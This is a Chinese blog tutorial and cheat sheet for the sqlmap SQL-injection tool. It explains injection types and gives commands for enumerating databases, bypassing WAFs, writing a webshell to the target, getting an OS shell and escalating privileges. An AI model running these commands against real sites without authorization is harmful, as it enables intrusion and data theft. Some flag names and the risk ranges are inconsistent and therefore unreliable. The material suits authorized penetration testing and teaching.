Sqlmap工具使用以及Sql注入基本类型

Sqlmap工具使用以及Sql注入基本类型

sqlmap常用参数

sqlmap输入结果时会用到-v参数,有7个等级,默认为1
  • 0:只显示python的tracebacks信息,错误信息和关键信息

  • 1:显示普通信息【INFO】和警告信息【WARNING】

  • 2:同时显示调试信息【DEBUG】

  • 3:同时显示注入使用的payload

  • 4:同时显示HTTP请求

  • 5:同时显示HTTP响应头

  • 6:同时显示HTTP响应体

    sqlmap中level分为1-5,默认为1,检查cookie至少为2,检查User-Agent等级至少为3,5级包含的payload最多,会自动破解出Cookie、XFF等头部注入,对应的速度也会比较慢。

    sqlmap中risk等级为0-3,默认为1,会检测大部分的测试语句,等级为2时会增加基于事件的测试语句,等级为3会增加or语句的SQL注入测试

5种注入模式

  • 基于布尔的盲注:根据返回页面判断条件真假的注入

  • 基于事件的盲注:不能根据页面返回内容判断任何信息,用条件语句判断时间延迟语句是否执行(页面返回事件是否增加)

  • 基于报错的注入:页面会返回错误信息,或者把注入语句的结果直接返回在页面中

  • 联合查询注入:可以使用UNION情况下的注入

  • 堆查询注入:可以同时执行多条语句执行时的注入

    以MySql数据库为例,一般会使用一下语句

//检测注入点
sqlmap -u "www.test.com/?id=1"
//指定检测参数
sqlmap -u "www.test.com/?id=1&page=2" -p id
//识别数据库类型
sqlmap -u "www.test.com/?id=1" -f
//识别数据库版本
sqlmap -u "www.test.com/?id=1" -b
//列出当前数据库
sqlmap -u "www.test.com/?id=1" --current-db
//列出所有数据库
sqlmap -u "www.test.com/?id=1" --dbs
//列出指定数据库的表
sqlmap -u "www.test.com/?id=1" -D test --tables
//列出指定表的字段
sqlmap -u "www.test.com/?id=1" -D test -T user --columns
//避开waf等设备
sqlmap -u "www.test.com/?id=1" --tamper xxx.py

获取交互式如下。

shell sqlmap -u "www.test.com/?id=1" --os-shell

需要具备三个条件:

  • 必须是数据库root权限
  • 已经获取网站的路径
  • GPC设置为off

sqlmap的--os-shell在mysql数据库中的原理,其实就是往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。

指定注入模式如下。

sqlmap -u "www.test.com/?id=1" --technique (B/E/U/S/T)
  • B:布尔型注入
  • E:报错型注入
  • U:可联合查询注入
  • S:可多语句查询注入
  • T:基于时间延迟注入

file协议写shell

sqlmap -u "www.test.com/?id=1" --file-write "本地文件" --file-dest "网站绝对路径+文件名"

POST和Cookie注入

在检测POST型注入的时候一般会将POST包放入一个txt文档里

检测注入点如下

sqlmap -r test.txt

Cookie型注入如下

sqlmap -u "www.test.com/?id=1" --cookie "xxxxx"

Request可设置请求方式,如GET、POST请求,以及Cookie注入等

--method=METHON 指定是get方法还是post方法。例:--methon=GET
--data=DATA 指定参数。例:-u "xxx?id=1" --data="name=1&pass=2"
--cookie=COOKIE 指定测试使用的cookie。例:-u "xxx?id=1" --cookie="a=1;b=2"
--user-agent=AGENT指定一个user-agent值进行测试。例:--user-agent="aaaa"
--random-agent使用随机user-agent进行测试。 level >= 3 会检测user-agent

Optimization可选择测试的方式,设置线程,设置指定类型,绕过waf等

--threads=THREADS 开启多线程,默认为1,最大为10
-p 指定测试参数,使用这个--level就会失效

Detection设置目标测试的等级、风险级别、标志位等

--level=LEVEL设置测试等级。lv2:Cookie. lv3:user-agent,refere. lv5:host
--risk=RISK风险(1-4)。risk2:基于事件的测试;  risk3:or语句测试;  risk4:updata的测试

Techniques可检测SQL注入漏洞存在的技术类型

--teechnique=TECH 指定所使用的技术
B:布尔盲注
E:报错注入
U:联合查询注入
S:文件系统,操作系统,注册表相关
T:时间盲注

Fingerprint可查看指纹、数据库、操作系统等信息

-f,--fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息

File system access可使用SQL注入漏洞上传WebShell、文件等

--file-read=RFILE 读取目标站点的一个文件。
--file-write=WFILE 写入目标站点的一个文件,通常和--sql-query连用。
    例:--sql-query="select "一句话木马" --file-write="shell.php"
--file-dest=DFILE 同上,只是使用绝对路径写入

Operating system access可执行系统命令,提升获取的权限

--os-cmd=OSCMD 执行一句系统命令。例:--os-cmd="ipconfig -all"
--os-shell 创建一个对方操作系统的shell,远程执行命令
--priv-esc自动提权,数据库进程用户权限提升
posted @ 2022-10-26 16:25  灰心爷爷  阅读(2107)  评论(0编辑  收藏  举报